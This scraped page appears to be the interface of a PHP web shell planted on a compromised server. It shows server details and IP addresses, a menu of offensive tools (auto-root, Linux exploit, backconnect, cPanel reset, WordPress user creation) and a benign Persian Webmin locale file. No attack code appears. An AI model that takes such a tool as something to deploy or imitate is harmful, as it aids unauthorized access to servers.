Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
backup-config /
lang /
[ HOME SHELL ]
Name
Size
Permission
Action
af.auto
4.72
KB
-rw-r--r--
ar
6.98
KB
-rw-r--r--
be.auto
8.44
KB
-rw-r--r--
bg.auto
7.97
KB
-rw-r--r--
ca
5.17
KB
-rw-r--r--
cs
4.38
KB
-rw-r--r--
cs.auto
581
B
-rw-r--r--
da.auto
4.83
KB
-rw-r--r--
de
5.1
KB
-rw-r--r--
el
9.46
KB
-rw-r--r--
en
4.4
KB
-rw-r--r--
es
4.15
KB
-rw-r--r--
es.auto
1.57
KB
-rw-r--r--
eu.auto
5.16
KB
-rw-r--r--
fa.auto
7.21
KB
-rw-r--r--
fi.auto
5.26
KB
-rw-r--r--
fr
3.62
KB
-rw-r--r--
fr.auto
2.07
KB
-rw-r--r--
he.auto
5.48
KB
-rw-r--r--
hr
4.34
KB
-rw-r--r--
hr.auto
883
B
-rw-r--r--
hu
3.82
KB
-rw-r--r--
hu.auto
1.55
KB
-rw-r--r--
it
4.93
KB
-rw-r--r--
it.auto
93
B
-rw-r--r--
ja
5.57
KB
-rw-r--r--
ja.auto
787
B
-rw-r--r--
ko
4.28
KB
-rw-r--r--
ko.auto
556
B
-rw-r--r--
lt.auto
5.41
KB
-rw-r--r--
lv.auto
5.01
KB
-rw-r--r--
ms
4.43
KB
-rw-r--r--
ms.auto
94
B
-rw-r--r--
mt.auto
4.9
KB
-rw-r--r--
nl
4.64
KB
-rw-r--r--
nl.auto
107
B
-rw-r--r--
no
5.07
KB
-rw-r--r--
pl
5.28
KB
-rw-r--r--
pt.auto
4.95
KB
-rw-r--r--
pt_BR.auto
4.95
KB
-rw-r--r--
ro.auto
5.19
KB
-rw-r--r--
ru
7.18
KB
-rw-r--r--
ru.auto
1.6
KB
-rw-r--r--
sk
4.27
KB
-rw-r--r--
sk.auto
572
B
-rw-r--r--
sl.auto
5.16
KB
-rw-r--r--
sv
4.19
KB
-rw-r--r--
sv.auto
579
B
-rw-r--r--
th.auto
9.99
KB
-rw-r--r--
tr
3.22
KB
-rw-r--r--
tr.auto
2.05
KB
-rw-r--r--
uk.auto
8.19
KB
-rw-r--r--
ur.auto
6.55
KB
-rw-r--r--
vi.auto
5.76
KB
-rw-r--r--
zh
4.14
KB
-rw-r--r--
zh_TW.auto
4.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fa.auto
index_title=فایل های پیکربندی پشتیبان گیری index_emods=هیچ ماژول Webmin در پشتیبان گیری از تنظیمات سیستم پشتیبانی نمی کند. index_dest=مقصد تهیه پشتیبان index_mods=ماژول های وبمین index_sched=برنامه ریزی شده؟ index_when=بله ،$1 index_count=ماژول$1 index_add=یک نسخه پشتیبان تهیه شده جدید اضافه کنید. index_none=هنوز هیچ بکاپ برنامه ای تعریف نشده است. index_header=پیکربندی پشتیبان اکنون index_now=همین حالا نسخه پشتیبان تهیه کن index_return=لیست پشتیبان های برنامه ریزی شده index_return2=تهیه نسخه پشتیبان و بازیابی index_header2=اکنون پیکربندی را بازیابی کنید index_now2=اکنون بازیابی شود index_apply=تنظیمات را اعمال می کنید؟ index_test=فقط نشان می دهد چه چیزی ترمیم خواهد شد؟ index_jobs=پشتیبان گیری برنامه ریزی شده index_nostrftime=اخطار - بعضی از مشاغل پشتیبان از نام ٪ خود در پرونده استفاده می کنند ، اما تعویض strftime در صفحه پیکربندی ماژول فعال نیست. index_tabsched=پشتیبان گیری برنامه ریزی شده index_tabbackup=همین حالا نسخه پشتیبان تهیه کن index_tabrestore=اکنون بازیابی شود edit_title1=تهیه نسخه پشتیبان برنامه ریزی شده edit_title2=تهیه نسخه پشتیبان برنامه ریزی شده edit_header=گزینه های تهیه پشتیبان برنامه ریزی شده edit_header2=دستورات پشتیبان و ارسال کنید edit_header3=برنامه تهیه نسخه پشتیبان edit_email=نتیجه ایمیل برای آدرس دهی edit_emode=چه زمانی ایمیل بفرستید edit_emode0=همیشه edit_emode1=فقط در صورت بروز خطا edit_sched=تهیه نسخه پشتیبان برنامه ریزی شده فعال است؟ edit_schedyes=بله ، در مواقعی که در زیر انتخاب شده است .. edit_mods=ماژول ها برای تهیه نسخه پشتیبان edit_dest=مقصد تهیه پشتیبان edit_mods2=ماژول ها برای بازیابی edit_other2=سایر فایلها برای بازیابی edit_dest2=بازیابی از edit_what=در نسخه پشتیبان تهیه کنید edit_webmin=پرونده های پیکربندی ماژول وبمین edit_nofiles=پرونده های پیکربندی سرور edit_run=اکنون ذخیره و پشتیبان گیری کنید edit_return=فرم پشتیبان edit_other=سایر پرونده های ذکر شده .. edit_pre=دستور پیش تهیه پشتیبان edit_post=دستور پشتیبان گیری save_err=ذخیره نسخه پشتیبان انجام نشد save_emods=هیچ ماژول انتخاب نشده است save_ewebmin=نه پرونده های پیکربندی وبمین و سرور انتخاب شدند backup_mode0=پرونده محلی backup_mode1=سرور FTP backup_mode2=سرور SSH backup_mode3=پرونده بارگذاری شده backup_mode4=بارگیری در مرورگر backup_path=پرونده بر روی سرور backup_login=به عنوان کاربر وارد شوید backup_pass=با گذرواژه backup_port=درگاه سرور backup_epre=ماژول$1 نسخه پشتیبان تهیه رد کرد :$2 backup_enone=هیچ ماژول فایلهای موجود را برای تهیه نسخه پشتیبان تهیه نکرد! backup_etar=TAR شکست خورد :$1 backup_egunzip=نسخه پشتیبان تهیه فشرده شده است ، اما <tt>gunzip</tt> نصب نشده است backup_euntar=Un-TAR شکست خورد :$1 backup_enone2=هیچکدام از پرونده های ماژول های انتخاب شده در نسخه پشتیبان قرار ندارند backup_epre2=ماژول$1 بازگردانی رد شد :$2 backup_err=پشتیبان گیری انجام نشد backup_edest=پرونده محلی مطلق یا نامعتبر است backup_eserver1=سرور FTP وجود ندارد یا نامعتبر است backup_eserver2=سرور SSH وجود ندارد یا نامعتبر است backup_epath=مسیر مطلق یا نامعتبر در سرور FTP backup_epath2=مسیر مطلق یا نامعتبر مسیر در سرور SSH backup_euser=کاراکترهای نامعتبر در ورود به سرور FTP backup_epass=کاراکترهای نامعتبر در رمز عبور سرور FTP backup_eport=درگاه سرور FTP وجود ندارد یا نامعتبر است backup_esport=درگاه سرور SSH وجود ندارد یا نامعتبر است backup_emods=هیچ ماژول انتخاب نشده است backup_title=پیکربندی پشتیبان گیری backup_doing=شروع تهیه نسخه پشتیبان از پرونده های پیکربندی ماژول به$1 .. backup_failed=.. ناموفق! $1 backup_done=.. کامل. اندازه پشتیبان گیری نهایی$1 بود که حاوی$2 پرونده بود. restore_err=بازیابی انجام نشد restore_emods=هیچ ماژول یا پرونده دیگری انتخاب نشده است restore_title=پیکربندی را بازیابی کنید restore_doing=شروع بازیابی پرونده های پیکربندی ماژول از$1 .. restore_testing=استخراج محتوای پشتیبان از$1 .. restore_failed=.. ناموفق! $1 restore_done=.. کامل. $1 پرونده بازیابی شد. restore_done2=.. پرونده های موجود در نسخه پشتیبان تهیه شده اند : nice_ftp=$2 از$1 از طریق FTP nice_ftpp=$2 از$1 درگاه$3 از طریق FTP nice_ssh=$2 از$1 از طریق SSH nice_sshp=$2 از$1 درگاه$3 از طریق SSH nice_upload=پرونده بارگذاری شده nice_download=مرورگر log_backup=نسخه پشتیبان از$1 ماژول به$2 log_restore=ماژول$1 از$2 بازیابی شد log_create_backup=نسخه پشتیبان از ماژول$1 تا$2 ایجاد کرد log_modify_backup=تهیه نسخه پشتیبان از ماژول$1 به$2 log_delete_backup=نسخه پشتیبان از ماژول$1 به$2 حذف شد log_run_backup=نسخه پشتیبان از ماژول$1 تا$2 اجرا شد run_title=تنظیمات پشتیبان run_doing=تهیه نسخه پشتیبان از$1 ماژول به$2 .. run_ok=.. پشتیبان گیری با موفقیت انجام شد run_failed=.. پشتیبان گیری انجام نشد! دلیل خطا در بالا را ببینید. email_mods=پشتیبان گیری از ماژول ها : email_failed=به$1 انجام نشد : email_ok=به$1 موفق شد. email_sfailed=نسخه پشتیبان تهیه پیکربندی در$1 انجام نشد email_sok=نسخه پشتیبان تهیه پیکربندی در$1 موفق شد email_final=اندازه فایل پشتیبان نهایی$1 بود email_pre=اجرای دستور پیش تهیه پشتیبان$1 .. email_post=اجرای دستور پس گرفتن پشتیبان$1 .. email_prefailed=فرمان پیش تهیه پشتیبان انجام نشد!
Close